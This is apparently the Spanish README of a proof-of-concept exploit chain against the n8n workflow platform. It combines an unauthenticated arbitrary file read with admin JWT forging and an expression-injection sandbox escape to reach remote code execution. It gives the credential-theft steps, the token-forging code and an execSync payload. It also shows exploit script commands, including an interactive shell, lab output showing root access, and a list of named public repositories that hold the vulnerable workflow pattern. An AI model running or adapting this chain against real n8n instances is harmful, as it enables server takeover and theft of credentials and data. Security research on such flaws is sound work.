
Prueba de concepto para CVE-2026-21858
Lectura Arbitraria de Archivos sin Autenticación → Forja de Token de Admin → Bypass de Sandbox → RCE
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9 (Crítico) |
| Afectado | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| Corregido | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| Divulgado | 2026-01-07 11:09 UTC |
| Nombre clave | Ni8mare |
| Crédito | Dor Attias (Cyera) |
| Exploit | Chocapikk |
| Proceso | Automatizado por IA: diff de parche → reproducción → laboratorio → exploit (~9h después de la divulgación) |
| Tipo | Prueba de Concepto - NO es un exploit universal (requiere configuración específica del flujo de trabajo, ver Limitaciones) |
Cadena RCE completa sin autenticación en n8n:
La exposición se basa en la versión. En términos de exposición, hay instancias vulnerables de n8n accesibles públicamente.
Resultados de LeakIX: Ver instancias expuestas
Este exploit fue desarrollado independientemente del artículo de Cyera (descubierto después de su finalización). Diferencias clave:
| Cyera (Investigación Original) | Este Exploit | |
|---|---|---|
| Lectura de archivos | Cargar en base de conocimiento de IA → consultar mediante chat | Respuesta HTTP directa |
| Requisitos previos | Flujo de trabajo de chat + integración de IA | Cualquier formulario con carga de archivos |
| Método RCE | Nodo 'Execute Command' (deshabilitado por defecto) | Inyección de expresiones (funciona en instalaciones predeterminadas) |
| Automatización | Demostración manual/conceptual | Script Python completamente automatizado |
Ambos enfoques requieren configuraciones específicas del flujo de trabajo. Cyera necesita chat + integración de IA, este exploit necesita un formulario con nodo Respond. Consulte Limitaciones para más detalles.
┌───────────────────────────────────────────────────────────┐
│ SIN AUTENTICACIÓN │
├───────────────────────────────────────────────────────────┤
│ 1. Leer /proc/self/environ → Encontrar directorio HOME │
│ 2. Leer $HOME/.n8n/config → Obtener encryptionKey │
│ 3. Leer $HOME/.n8n/database.sqlite → Obtener creds admin │
├───────────────────────────────────────────────────────────┤
│ FORJA DE TOKEN │
├───────────────────────────────────────────────────────────┤
│ 4. Derivar secreto JWT desde encryptionKey │
│ 5. Forjar cookie de sesión admin │
├───────────────────────────────────────────────────────────┤
│ RCE AUTENTICADO │
├───────────────────────────────────────────────────────────┤
│ 6. Crear flujo de trabajo con inyección de expresiones │
│ 7. Bypass de sandbox mediante this.process.mainModule.require │
│ 8. Ejecutar comandos arbitrarios │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
El legendario "Merge commit from fork" - cuando ves esto, alguien encontró algo picante. 🌶️
// ANTES (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// DESPUÉS (corregido)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Envía Content-Type: application/json → controla filepath → lee cualquier archivo.
n8n aísla el código de usuario (nodo Code, expresiones) usando vm2/isolated-vm. Otros vectores RCE:
| Técnica | Estado |
|---|---|
| Nodo Execute Command | Deshabilitado por defecto (N8N_ALLOW_EXEC_COMMAND=false) |
| Nodos SSH/HTTP | Ejecutan en servidores remotos, no en el host n8n |
| Escape de sandbox Pyodide | CVE-2025-68668 - requiere nodo Python Code |
| Inyección de expresiones | CVE-2025-68613 - funciona en instalaciones predeterminadas |
Usé Inyección de expresiones porque funciona en cualquier n8n con configuración predeterminada - no requiere nodos especiales ni configuración. El bypass de Pyodide (CVE-2025-68668) requiere el nodo Python Code que puede no estar disponible en todas las instancias.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Las expresiones de n8n tienen acceso a this.process.mainModule.require → escape completo del sandbox.
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
Esto NO es un exploit que "pwn cualquier n8n". Requiere condiciones específicas para funcionar:
| Requisito | Descripción |
|---|---|
| Formulario con carga de archivos | El objetivo debe tener un flujo de trabajo de formulario con un campo de carga de archivos |
| Nodo Respond to Webhook | El flujo de trabajo debe devolver el contenido del archivo en la respuesta HTTP |
| Flujo de trabajo activo | El flujo de trabajo del formulario debe estar activado |
| Acceso sin autenticación | El formulario debe ser accesible públicamente (sin autenticación) |
Ejemplo de configuración de flujo de trabajo vulnerable:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
Los elementos clave son: fieldType: "file" + respondWith: "binary". Este patrón es común en flujos de trabajo de procesamiento de archivos (convertidores, redimensionadores de imágenes, procesadores de documentos).
Funciona:
No funciona:
Nota: La vulnerabilidad (lectura arbitraria de archivos) se desencadena independientemente del método de exfiltración. El nodo Respond es solo una forma de recuperar el contenido. Métodos alternativos (OOB, otros nodos de salida) pueden funcionar según la configuración del flujo de trabajo.
Explotación ciega: Si no existe un nodo Respond, n8n aún lee el archivo pero no se puede exfiltrar mediante respuesta HTTP. Se necesitarían técnicas alternativas (OOB, temporización).
El patrón vulnerable (Form Trigger + carga de archivos + Respond to Webhook) existe en repositorios públicos de GitHub.
Nota: Los repositorios populares de flujos de trabajo de n8n (>100⭐) no usan este patrón. Estos son proyectos comunitarios/personales:
| Archivo de flujo de trabajo | Campos de archivo | respondWith |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Images, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Document(PDF) | text |
| ai_resume_project/resume_rag.json | File Upload | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | Audio File | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | file | text |
| voltixLandingPage/.../chatbotvoltix.json | Upload File | default |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | file | default |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Upload your document | default |
| learn_earn_ai_insta/.../My workflow.json | upload your file | default |
| finintworkshop/.../API using n8n (ToT).json |
Estos son flujos de trabajo contribuidos por la comunidad. Ninguna plantilla oficial de n8n.io usa este patrón vulnerable.
| file |
json |